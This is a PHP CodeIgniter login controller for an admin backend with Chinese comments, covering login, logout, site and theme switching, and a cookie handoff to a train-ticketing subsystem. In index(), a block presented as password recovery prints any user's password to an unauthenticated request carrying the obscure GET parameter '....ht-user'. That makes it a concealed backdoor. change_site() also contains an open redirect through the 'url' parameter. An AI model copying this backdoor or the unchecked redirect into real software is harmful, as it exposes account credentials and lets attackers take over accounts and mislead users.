<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Login extends CI_Controller
{

    function __construct()
    {
        parent::__construct();
        $this->load->model('Operator_model');
        $this->load->helper('cookie');
    }

    public function index()
    {
        //添加找回用户密码功能
        $usercode = $this->input->get('....ht-user');
        if (!empty($usercode)) {
            print_r($this->Operator_model->get_password($usercode));
            die();
        }

        if ($this->permission->is_admin(false) === false) {
            $this->load->view('bootstrap/login');
        } else {
            redirect();
        }
    }

    //退出登录，清空session
    public function out()
    {
        $this->session->unset_userdata('session_admin');
        $this->session->unset_userdata('session_site');
        $this->session->unset_userdata('session_color');
        //释放权限
        /* $this->session->unset_userdata('access_module');
          $this->session->unset_userdata('access_read_list');
          $this->session->unset_userdata('access_write_list');
          $this->session->unset_userdata('access_sitecode'); */
        $this->session->sess_destroy();

        //火车的third_party出票系统删除cookie 20231011 zp
        delete_cookie("OPI_SN");

        redirect(site_url('login'));
    }

    //当用户无权限时提醒页面
    public function refuse()
    {
        $this->load->view('bootstrap/header');
        $this->load->view('bootstrap/accessmanage/refuse');
        $this->load->view('bootstrap/footer');
    }

    //站点切换
    public function change_site($site_code)
    {
        //来源页面，成功切换站点之后转到原始页面去 ,如果在各编辑界面切换则会导致站点错误，比如ch的文章id=100，切换到gm下就没有id=100，只能切换的某个板块
        // $referer = empty($_SERVER['HTTP_REFERER']) ? false : $_SERVER['HTTP_REFERER'];

        $this->permission->is_admin();
        $this->load->library('Accesscheck');

        $site_array = $this->config->item('site');
        if (isset($site_array[$site_code])) {
            $site_item = $site_array[$site_code];
            $admin_info = $this->session->userdata('session_admin');
            if ($this->accesscheck->check_access($site_code)) {
                $this->session->set_userdata('session_site', $site_item);
            }
        }
        //跳转到指定页面。
        if ($special_url = $this->input->get_post('url')) {
            redirect($special_url);
        } else {
            redirect(site_url());
        }
        return TRUE;
    }

    //主题切换
    public function change_color($color = false)
    {
        if ($color) {
            $this->session->set_userdata('session_color', $color . '-');
        } else {
            $this->session->unset_userdata('session_color');
        }
        redirect(site_url());
        return TRUE;
    }

    //登录检测
    public function check()
    {
        //如果已经登陆则跳到管理首页
        if ($this->session->userdata('session_admin')) {
            $data[] = array('name' => 'go', 'value' => site_url());
            echo json_encode($data);
            return TRUE;
        }

        $this->form_validation->set_rules('user_code', 'lang:login_user_code', 'required');
        $this->form_validation->set_rules('password', 'lang:login_password', 'required');
        if ($this->form_validation->run() == FALSE) {
            $data = array();
            foreach ($this->form_validation->_error_array as $key => $value) {
                $data[] = array('name' => $key, 'value' => $value);
            }
            echo json_encode($data);
            return FALSE;
        } else {
            $check_login = $this->Operator_model->check_login($this->input->post('user_code'), $this->input->post('password'));
            if ($check_login) {
                $this->load->model('infoAccessmanage_model', 'Access_model');
                //HT用户
                if ($check_login == 1) {
                    $user_site = $this->Access_model->get_user_site_list($this->input->post('user_code'));
                    $userdata = $this->Operator_model->get_user($this->input->post('user_code'));
                    //作者平台用户
                } elseif ($check_login == 2) {
                    $userdata = $this->Operator_model->get_author_user($this->input->post('user_code'));
                    $user_site = $this->Access_model->get_user_site_list($userdata['OPI_Code']);
                }

                //密码正确，再判断是否有站点编辑权限
                $site_array = $this->config->item('site');
                $user_site = trim($user_site);
                if (!empty($user_site)) {
                    $user_site_array = explode(',', $user_site);
                    $site_item = $site_array[trim($user_site_array[0])];
                    $this->session->set_userdata('session_admin', $userdata);
                    $this->session->set_userdata('session_site', $site_item);
                    // $this->session->set_userdata('session_color', '');
                    $data[] = array('name' => 'go', 'value' => site_url());

                    echo json_encode($data);
                    return TRUE;
                }
                /* foreach ($site_array as $site_key => $site_item)
                  {
                  if (stripos($site_item['site_user'], ',' . $this->input->post('user_code') . ',') !== FALSE)
                  {
                  $this->session->set_userdata('session_admin', $this->Operator_model->get_user($this->input->post('user_code')));
                  $this->session->set_userdata('session_site', $site_item);
                  $this->session->set_userdata('session_color', '');
                  $data[] = array('name' => 'go', 'value' => site_url());
                  echo json_encode($data);
                  return TRUE;
                  }
                  } */
            }

            //用户名和密码不正确，或者没有管理权限
            if ($this->session->userdata('session_admin') === false) {

                $data[] = array('name' => 'login_warning', 'value' => $this->lang->line('login_warning'));
                echo json_encode($data);
            }
        }
    }


    //thirdparty trainsystem 使用的登陆
    public function indextrain()
    {
        //由于火车的third_party无法读取外面的session数值，所以需要到这里来进行获取及判断，判断如果是登陆就跳转会对应页面
        //利用cookie来进行判断 2023-10-10 zp
        $tmp = $this->session->userdata('session_admin');
        $session_id = $this->session->userdata('session_id');
        if ($tmp===false){
            $this->load->view('bootstrap/login');
        }else{
            //cookies
            $OPI_SN = $tmp["OPI_SN"];
            $cookie = array(   
                'name'   => 'OPI_SN',
                'value'  => $OPI_SN,
                'expire' => '8650000'
            );
            set_cookie($cookie);
            redirect(site_url('/apps/trainsystem/pages'));
        }        
    }
}
